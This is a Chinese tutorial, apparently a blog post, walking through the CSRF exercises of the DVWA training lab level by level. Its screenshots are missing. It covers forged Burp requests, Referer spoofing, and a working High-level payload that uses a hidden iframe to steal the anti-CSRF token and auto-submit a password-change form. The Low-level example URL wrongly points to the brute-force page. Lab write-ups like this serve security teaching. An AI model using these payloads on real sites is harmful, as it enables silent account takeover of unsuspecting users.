DVWA之CSRF

CSRF:跨站请求伪造攻击

SecurityLow 级别分析

核心代码

DVWA之CSRF

 

输入数据,以便Burp代理获得请求参数

 DVWA之CSRF      DVWA之CSRF

这里可以将第一行拿出来进行构造链接,

http://202.100.10.129/dvwa/vulnerabilities/brute/?username=111&password=111&Login HTTP/1.1

或者利用burp编写Poc,当我们在Burp中抓到包后,点击右键编写Poc

 DVWA之CSRF  DVWA之CSRF

DVWA之CSRF

 DVWA之CSRF

当用户触发这个请求后,

 DVWA之CSRF

密码就会被修改成111,当然,这样子用户能看到的话,用户就知道了自己的密码被修改,明显很不现实。那么如何在用户不知情的情况下进行修改密码的攻击呢?

我们可以采取构造攻击页面的方式:

在真实情况下,这种方法需要事先在公网上上传一个攻击页面,诱导用户去访问这个页面,这样才能在用户不知情的情况下进行攻击。

没有公网服务器的情况下,可以在本地环境假设这个攻击页面的服务器,这里采用Kali作为这个攻击页面的服务器。

 DVWA之CSRF

启动Apache服务

 DVWA之CSRF

当用户访问到这个页面后,会显示不存在,一般情况下,用户都会选择关掉这个页面,没有人去选择查看源码进行分析,这是不现实的,而此时用户的密码已经被我们修改成功,

 DVWA之CSRF

当用户退出后,下次再登录的时候就会发现已经无法登录了。因为此时密码已经被修改了。

 DVWA之CSRF

SecurityMedium级别分析

核心代码:

 DVWA之CSRF

 

相关函数说明

int eregi(string pattern, string string)

检查string中是否含有pattern(不区分大小写),如果有返回True,反之False。

可以看到,Medium级别的代码检查了保留变量 HTTP_REFERER(http包头的Referer参数的值,表示来源地址)中是否包含SERVER_NAME(http包头的Host参数,及要访问的主机名,即202.100.10.129),希望通过这种机制抵御CSRF攻击

漏洞利用:

既然服务器进行了过滤,通过分析源代码可以得到,它要求http包头的Referer参数的值中必须包含主机名。

方法一:Burpsuite抓包进行修改后再提交给服务器

Ctrl+R发送到repeater,将主机名添加到Referer的后面

 DVWA之CSRF

预览可以看到,密码已经在用户不知情的情况下被修改

 DVWA之CSRF

方法二:

将攻击页面名称改为用户主机名202.100.10.129.html (攻击页面放在攻击者自己的服务器里,202.100.10.130/202.100.10.129html),当用户不小心点到这个页面时,会自动执行以下脚本,用途就是更改密码。

 DVWA之CSRF

用户一般看到404就会关掉,当然地址是可以换成比较隐蔽的形式。

 DVWA之CSRF

Burpsuite截到的包

 DVWA之CSRF

SecurityHigh级别分析

核心代码

 DVWA之CSRF

可以看到,该级别加入了Anti-CSRF token方法来防范CSRF攻击,同时每次随机生成一个token,当用户提交的时候,服务器端会检查token值是否正确,很好的起到了防范作用。不好攻破。不过照样还是可以被利用,可以发现High级别的反CSRF机制,最关键的地方就是要获取token,利用受害者的cookie去修改密码的页面获取关键的token。我们可以试着去构造一个攻击页面,将其放置在攻击者的服务器,引诱受害者访问,从而完成CSRF攻击,下面是代码。

<script type="text/javascript">

    function attack()

  {

   document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;

  document.getElementById("transfer").submit();

  }

</script>

<iframe src="http://192.168.153.130/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;">

</iframe>

<body onl oad="attack()">

  <form method="GET" id="transfer" action="http://192.168.153.130/dvwa/vulnerabilities/csrf">

   <input type="hidden" name="password_new" value="password">

    <input type="hidden" name="password_conf" value="password">

   <input type="hidden" name="user_token" value="">

  <input type="hidden" name="Change" value="Change">

   </form>

</body>

当受害者不小心点击这个页面后,该网页中的脚本会发生请求,偷偷去访问修改密码的页面,获取页面的Token值,并向服务器发起修改密码的请求。

PS:不过受到同源策略的限制,这种请求是无法正常执行的。简单来说,就是当用户访问被攻击服务器A时,被默默的要求去请求B服务器上的攻击脚本,这怎么可以,吃着自己碗里的还想吃别人碗里的,浏览器不允许这种行为,除非别人主动从他碗里给你夹肉过来。。。。。

故只有将攻击页面(将自己的肉放在别人的碗里,不给你也得给你,皮一下,就是这么个道理。)放在被攻击者的服务器上,让被攻击服务器去请求位于自己服务器上的资源,这当然是没有问题的了。

 

SecurityImpossible级别

核心代码:

 DVWA之CSRF

 

可以看到, Impossible 级别的代码利用PDO 技术防御SQL 注入,至于防护CSRF ,则要求用户输入原始密码(简单粗暴),攻击者在不知道原始密码的情况下,无论如何都无法进行CSRF 攻击。

注意:CSRF最关键的是利用受害者的cookie向服务器发送伪造请求,所以如果受害者之前用Chrome浏览器登录的这个系统,而用搜狗浏览器点击这个链接,攻击是不会触发的,因为搜狗浏览器并不能利用Chrome浏览器的cookie。

 

上一篇:【DVWA】SQL Injection(SQL 注入)通关教程


下一篇:【渗透测试-web安全】DVWA-暴力破解